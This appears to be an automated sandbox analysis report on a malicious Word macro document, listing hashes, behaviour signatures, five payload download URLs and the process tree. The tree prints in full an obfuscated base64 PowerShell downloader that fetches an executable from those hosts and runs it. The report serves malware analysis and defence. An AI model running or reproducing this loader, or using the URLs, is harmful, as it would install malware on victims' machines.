Analysis
-
max time kernel
122s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
15/09/2024, 00:38
General
-
Target
e15bb5fa156430e8afabee4579244ab7_JaffaCakes118.doc
-
Size
165KB
-
MD5
e15bb5fa156430e8afabee4579244ab7
-
SHA1
ee82e966e8f04229a92a3a56ae5e6c416958e7f7
-
SHA256
420cf1f6784246f59cc804ab9685106d033fb5d1d8d3e76558418bc0786f7b69
-
SHA512
40185eb650691d98bed6cc7304891eccd6dcab3aab32703b22462375979bbc9b9054a2d44bb75a1fa6e7f9e70a50db57155b037d82d638f5d2ca8f4958d2fd41
-
SSDEEP
3072:C4PrXcuQuvpzm4bkiaMQgAlSne5Vhw2wXeuR7:jDRv1m4bnQgISneVw2wXeuR7
Malware Config
Extracted
http://dragonfang.com/nav/tepHch0F/
http://dunkingbirdproductions.com/pages/UfYH4g/
https://www.ecosuds.ca/Mrgreenclean/UqR55/
http://djunreal.co.uk/BCM_REL_4_100_15_5_WHQL/7wUeA168844/
http://finnigans.org.uk/php/EeTn00182/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 6 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e15bb5fa156430e8afabee4579244ab7_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABVAEMAUQBQAE8AeQBqAGgAPQAnAEQASwBSAFMAWgBvAHIAdwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAYABSAGkAdABZAHAAYABSAE8AVABPAEMATwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAVwBWAFcATABHAGMAcABsACAAPQAgACcANwA1ADcAJwA7ACQASQBEAFIATgBEAGUAaQBjAD0AJwBJAFAARABDAEQAYwBlAHUAJwA7ACQAQgBKAFkATABUAHoAbABlAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABXAFYAVwBMAEcAYwBwAGwAKwAnAC4AZQB4AGUAJwA7ACQATABVAFoAQgBNAHIAaAB1AD0AJwBEAFcASQBVAEoAaQB1AGQAJwA7ACQAQwBHAFYAWQBMAHIAeABkAD0ALgAoACcAbgBlACcAKwAnAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAGMATABJAEUATgB0ADsAJABUAFcAUgBZAEkAZQBlAHkAPQAnAGgAdAB0AHAAOgAvAC8AZAByAGEAZwBvAG4AZgBhAG4AZwAuAGMAbwBtAC8AbgBhAHYALwB0AGUAcABIAGMAaAAwAEYALwAqAGgAdAB0AHAAOgAvAC8AZAB1AG4AawBpAG4AZwBiAGkAcgBkAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwAuAGMAbwBtAC8AcABhAGcAZQBzAC8AVQBmAFkASAA0AGcALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGUAYwBvAHMAdQBkAHMALgBjAGEALwBNAHIAZwByAGUAZQBuAGMAbABlAGEAbgAvAFUAcQBSADUANQAvACoAaAB0AHQAcAA6AC8ALwBkAGoAdQBuAHIAZQBhAGwALgBjAG8ALgB1AGsALwBCAEMATQBfAFIARQBMAF8ANABfADEAMAAwAF8AMQA1AF8ANQBfAFcASABRAEwALwA3AHcAVQBlAEEAMQA2ADgAOAA0ADQALwAqAGgAdAB0AHAAOgAvAC8AZgBpAG4AbgBpAGcAYQBuAHMALgBvAHIAZwAuAHUAawAvAHAAaABwAC8ARQBlAFQAbgAwADAAMQA4ADIALwAnAC4AIgBzAFAAbABgAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEQATwBOAEwARwB3AGwAeQA9ACcAWgBJAE4AUQBWAHQAaQBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAFYARwBSAFAAYwB6AHcAIABpAG4AIAAkAFQAVwBSAFkASQBlAGUAeQApAHsAdAByAHkAewAkAEMARwBWAFkATAByAHgAZAAuACIARABPAGAAdwBuAEwAbwBBAEQAZgBJAGAAbABlACIAKAAkAFUAVgBHAFIAUABjAHoAdwAsACAAJABCAEoAWQBMAFQAegBsAGUAKQA7ACQAVQBHAFEAWgBGAGoAdgBlAD0AJwBPAE8ARgBWAEgAYQBlAGEAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABCAEoAWQBMAFQAegBsAGUAKQAuACIAbABlAG4AYABnAGAAVABoACIAIAAtAGcAZQAgADIANAA3ADgAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAHQAZQAiACgAJABCAEoAWQBMAFQAegBsAGUAKQA7ACQAQQBPAEQAUABOAHkAaQBtAD0AJwBNAEIAUABNAFkAagBhAHcAJwA7AGIAcgBlAGEAawA7ACQARABJAEQAUQBCAHAAeABqAD0AJwBFAEEATQBNAFUAbgBsAGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBRAEQAQgBYAHgAegByAD0AJwBZAEMASABMAEgAZAB4AHgAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD5df7c117f4f435b64775b38bcbde3a2a4
SHA167703df49115e25e8fd64cb1cd5cb94d1c4a3089
SHA256dc446f2ab74797dd57da79290d0c67a1f126a6b398cdd2bdcf8f8be163d66fb1
SHA512736c6732e6f0da3c4b8454541e8f434770d145c3c8d501ff0950ae0565c5a51661985e10690bdc22239e83f1fbf68d09e1ba291fbc7109a50400ab7d8f44bb93
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
2.9MB
-
Filesize
32KB